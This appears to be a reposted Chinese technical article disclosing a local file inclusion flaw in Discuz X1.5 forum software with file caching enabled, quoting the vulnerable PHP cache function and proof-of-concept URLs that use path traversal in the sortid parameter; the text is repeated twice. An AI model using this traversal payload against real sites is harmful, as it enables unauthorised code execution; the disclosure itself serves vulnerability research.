DISCUZ X1.5 本地文件包含漏洞说明
程序员文章站
2022-04-06 15:53:55
DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。... 11-03-11...
config_global.php
$_config['cache']['type'] = ‘file’;
function cachedata($cachenames) {
……
$isfilecache = getglobal(‘config/cache/type’) == ‘file’;
……
if($isfilecache) {
$lostcaches = array();
foreach($cachenames as $cachename) {
if(!@include_once(discuz_root.’./data/cache/cache_’.$cachename.’.php’)) {
$lostcaches[] = $cachename;
}
}
……
}
地址:
http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucauthracation has expiried
执行了 api/uc.php 页面代码了。
作者: jannock
复制代码
代码如下:$_config['cache']['type'] = ‘file’;
function cachedata($cachenames) {
……
$isfilecache = getglobal(‘config/cache/type’) == ‘file’;
……
if($isfilecache) {
$lostcaches = array();
foreach($cachenames as $cachename) {
if(!@include_once(discuz_root.’./data/cache/cache_’.$cachename.’.php’)) {
$lostcaches[] = $cachename;
}
}
……
}
地址:
http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucauthracation has expiried
执行了 api/uc.php 页面代码了。
作者: jannock
上一篇: Java_Try_Finally
下一篇: 菜鸟必看:初学设计师你到底还缺什么?